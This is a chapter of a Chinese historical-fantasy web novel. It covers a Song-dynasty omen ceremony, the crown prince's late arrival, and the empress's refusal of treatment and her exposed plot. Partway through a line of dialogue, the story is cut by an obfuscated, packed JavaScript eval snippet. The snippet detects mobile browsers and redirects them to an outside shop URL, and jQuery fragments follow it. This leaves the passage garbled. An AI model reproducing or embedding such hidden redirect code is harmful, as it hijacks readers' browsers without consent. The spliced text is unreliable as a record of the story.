114. 回春术七

作品:《执伞:姜娘子又被扣生命值

    镇国寺,后山,祥瑞诞生处。


    金幡插满山间,幡旗之上一个宋字,迎风飘摇,似与天齐。


    经文讼了一遍又一遍,却无人喊停。


    官家与皇后立在万人之前,持金简以问天命。


    金简所书,唯有八字:盛世可否,国土定否。


    而那苍穹之下,竟真降下一道神光,神光转瞬而逝,金简之上只留一字。


    “陛下,神喻可有指引?”


    问话之人,是皇后。


    官家面露喜色:“神谕所指:可。”


    片刻后,官民欢呼,普天同庆。


    唯有那人群最后头,四人俩俩而立,无悲无喜。


    “这个神谕,是规则大人的手笔?”姜六不免好奇。


    须回摇头:“不是。”


    “那是天道所降?”姜医问道。


    姜妘摇头:“不像。”


    “那该不会真是天降祥瑞吧?”二人惊叹。


    “也许是吧。”姜妘道。


    祥瑞一事,本是姜妘指使,须回所设,目的自然是为拖住幕后之人的手脚,为执伞,更为寻找失踪之人取得些时辰。


    八字天言,是姜妘所写,但也非胡诌,毕竟后世《史书》所存只言片语,从中汇聚而成,倒也的确是:


    天命其恒,真言盛世。


    前之四字,是指真宗赵恒,乃天命所归,而后之四字,则指真宗之后,小太子赵祯即位,会开国之盛世。


    然这一个“可”字,姜妘尚未看懂。


    “小水你在想什么?”


    须回见其似有沉思,关心问道。


    姜妘道:“我在想这若非我们布局之环,那这个‘可’便是真的天命所指。若盛世可否,的确是可,然国土定否,却并不符合后世史书所载。否则也不会有‘王师北定中原日,家祭无忘告乃翁’了。”


    “王师北定中原日?”


    “家祭无忘告乃翁?”


    姜六与姜医一人一句,甚为惊讶。


    “此诗之悲切,忧国忧民,字字泣血呀!”


    “是啊!这诗是谁所作?为何从未听过!”


    姜妘分了心回他们:“此诗现在还未出世,诗作人将来亦会举世闻名。可惜他至死都未见燕云十六州收复,失地收复,得等几百年后的明朝。”


    姜妘又在说些他们听不懂的话,几人也早已习惯。


    姜六道:“王朝更迭,但山河亘古,能收复便是好事,只是苦了那些动荡之中的百姓。”


    姜氏祖训,从古至今只有三字:民为重。


    即使避世,仍旧以此为训,因此姜六能说出此番话,并未有人觉着诧异。


    毕竟在座四位,皆是姜家人。


    姜妘仍旧出神,须回见状宽慰道:“这有何难解!那个‘可’字,回的是盛世可,并非指国土定否,若是国土定,那应当回一个‘定’字才对。”


    他之所言犹如醍醐灌顶,姜妘恍然有所悟。


    “你说得在理啊,如此便说得通了!”


    “那可不!本伞天下第一聪明!”


    他自恋自夸起来,可真是毫不客气。


    姜妘已然习惯了,至于另外二位,他们的意见并不重要。


    自古金简得神言,当会被撒入凡尘谷间,以彰显国之威仪,与天地同心,与众生皆喜。


    只这次,却有所迟疑。


    实在也非官家拖延,只因者“真言盛世”中的那个真,小太子赵祯,未在。


    官家昭告天下,太子乃顺应天道,此刻正于宗庙的祈福,祈求国运昌盛长治久安,民富国强盛世康泰。


    也正因此,方会晚些前来。


    只是这晚些,未免也太晚了。


    众人等得着急,自议论不休,连着官家与皇后,皆有些焦躁。


    皇后小声问身旁近臣,私语嘱托,外人自然也听不清。


    “这皇后娘娘在说什么呢?太子殿下到底到了没?”


    “不知道啊,瞧这架势风平浪静,应当是没到吧……”


    “那不该呀,当今太子虽年岁尚幼,但却仁德宽厚,爱民如子,此等祥瑞大事,断无不来之理。”


    “话虽这么说,可太子殿下的确还未到,莫不是不来了?”


    “怎么可能不来,这等利民之举。”


    “可我可听说了,太子殿下失踪了。”


    “什么?当真?”


    “千真万确!”


    从前并未立太子,赵祯不来便也无伤大雅,可现在贵为太子,断没有不来的道理。


    毕竟连重病的皇后娘娘,都来了。


    民心多忧虑,一时间,太子失踪之事,传得沸沸扬扬。


    “那个刘均,怎得还未出场,我上山时,都看见刘均和小太子了。”姜医觉着古怪,“就算他二人脚程再慢,也应该到了。”


    “的确不合理,家主,要不要我二人下山寻寻他们?”


    姜妘道:“不用,他们快到了。”


    话音落下,果见有二人姗姗来迟。


    小太子一路狂奔,从人群之中,挤到了最前头。


    众人这才发现那身着华服的小郎君眼熟的很。


    “太子!是太子殿下!”


    赵祯不常露面,但汴京之大,识得他之人也是有的。


    “爹爹,孃孃,祯儿迟了。”


    “没事,平安回来就好。”


    皇后眼底闪过泪珠,隐藏得恰到好处。


    官家更是一脸宽慰。


    赵祯拜过父母,忽得转身,对着台下诸民道:“抱歉让大家久等了!”


    恭敬一礼,足见其诚。


    众人惶恐,受宠若惊:“不敢当不敢当!太子殿下安!”


    一番寒暄过后,太子才忽得开口:“诸位,我来晚了些,是因在去寺中求了烛香,所求唯有四字:国治长安。而卦象所县显:得君所愿。”


    众人跪地欢呼:“官家万岁,皇后娘万福,太子殿下千岁,大宋万万岁!”


    赵祯出现,亲自撒金简入山谷,后山人迹罕至,苍茫万物间,也算是为后世,留下块敲开北宋历史之镜。


    仪式落尾,人便也该散了。


    众人纷纷退却,皇后与官家二人也欲回宫。


    “官家,娘娘,还请稍等。”


    姜妘之话音传来,几人纷纷回头。


    官家眼底含笑道:“姜家大娘子,你怎么也在此?是姜家嘱托大娘子前来观礼的吗?”


    姜家盛名在外,官家对姜氏向来礼让。


    “回官家,我是来寻皇后娘娘的。”


    皇后眉头一皱,道:“姜娘子寻吾何事?”


    姜妘道:“是有一件大事,关于娘娘的病。”


    说着她便介绍道:“这位是我姜家最厉害的医者,唤姜医。毫不夸张地说,只要你还有一口气,他不出一周,保准叫人生龙活虎。所以皇后娘娘所中之毒,姜医定能将您治好。”


    姜医之医术,众人皆有目共睹。


    可皇后却仍旧拒绝。


    “不必了姜娘子,听说林太医醒了,本宫的病自然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982418|176410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就有救了。”


    姜妘闻言,温声道:“可是娘娘,违背天理的东西,迟早会反噬起身。皇后娘娘可想清楚了?确定只要林太医替您看病?”


    皇后眉头紧锁,最终,仍旧坚持……


    姜妘见状,并未追问,只携姜家三人退下。


    小太子原想一道退下,去寻姜妘,却却被皇后拉住了。


    “祯儿,你不要乱跑,等下又遇到了危险,让为娘的怎么办?”


    赵祯道:“可是孃孃,我失踪是在宫中,带走我的那名宫女怜儿,是孃孃的人吧。”


    此言一出,皇后眸中神色尽显慌张。


    官家深深地看了她一眼,不见喜怒:“你这是做什么?祯儿方才说得可是真的?你居然绑架自己的儿子?”


    皇后咬着要,最终“扑通”声跪下:“官家恕罪,臣妾知错!”


    她说着知错,却迟迟不说何错之有。


    而官家,竟也没问。


    “知错了就回宫闭门思过,半月不许出门。”


    “是,臣妾领罚!”


    轻飘飘一句闭门思过,此事便就这般不了了之。


    赵祯生为人子,想知真相,却又不再似方才那般勇气十足,现下也是再也说不出质问的话来。


    他怕自己的母亲,向来如此。


    皇后一个眼神,他便垂头丧气得跟了上去。


    回宫的马车内,皇后脸戴面纱,闭目养神。


    赵祯大气不敢出。


    “听说你与姜太傅走得很近?”


    赵祯心底一沉,有些后怕:“孃孃,太傅教导儿臣学业,所以儿臣与她走得近些。”


    “那从今日起她就不是你的太傅了。”


    此言一出,犹如晴天霹雳,猛然劈向了赵祯。


    “为什么?”他慌乱道,“姜太傅学识渊博,寓教于乐,祯儿在她的教导下各方均有所长,她不是爹爹与孃孃亲自为我挑选的太傅吗?”


    “她见过林太医了?”皇后打断赵祯所言。


    “嗯。”赵祯点头。


    “林太医是不是与他讲了母后的秘密?”


    赵祯眸光一沉,片刻后稳稳回道:“未曾。”


    他小心抬眸,并未从自己母亲脸上瞧见异常,心底松了口气。


    皇后道:“还算他有分寸。”


    赵祯沉默未言,心底多少有些后怕,毕竟这是他头一次对着皇后扯谎。


    林子岭其实已将实情和盘托出,就在姜妘将他从林子岭手下救出之时。


    他心里对母亲存了结缔,更害怕以她的手段,姜妘会陷入危机。


    他不敢赌,自己如今只是弱小太子,在林子岭那,甚至还得知了一个传闻,一个有关“狸猫换太子”的传闻。


    而此传闻中的太子,好像就是他。


    赵祯是不信的,皇后对他虽严厉些,但也疼爱。


    他哭着问姜妘,此事真假。


    姜妘却只是摇头,她说她也不知。


    这世上没有姜妘不知之事,若连她都不知,那定是假得,赵祯一直如此笃定。


    所以他便告诫自己,这件事不是真的。


    他是赵祯,是太子,是皇后刘娥所生。


    可他又哪里知晓,姜妘是真的不知此事,毕竟,在未来纪,史书详细所载,事无巨细的也只有过去万年,而这万年又乃极度混乱的末世之年。


    乱世久了,历史便断层得厉害,若无传承之人,以星火燎原,就更加寻根难果。


    因此,如这般皇室隐秘,姜妘的确不知。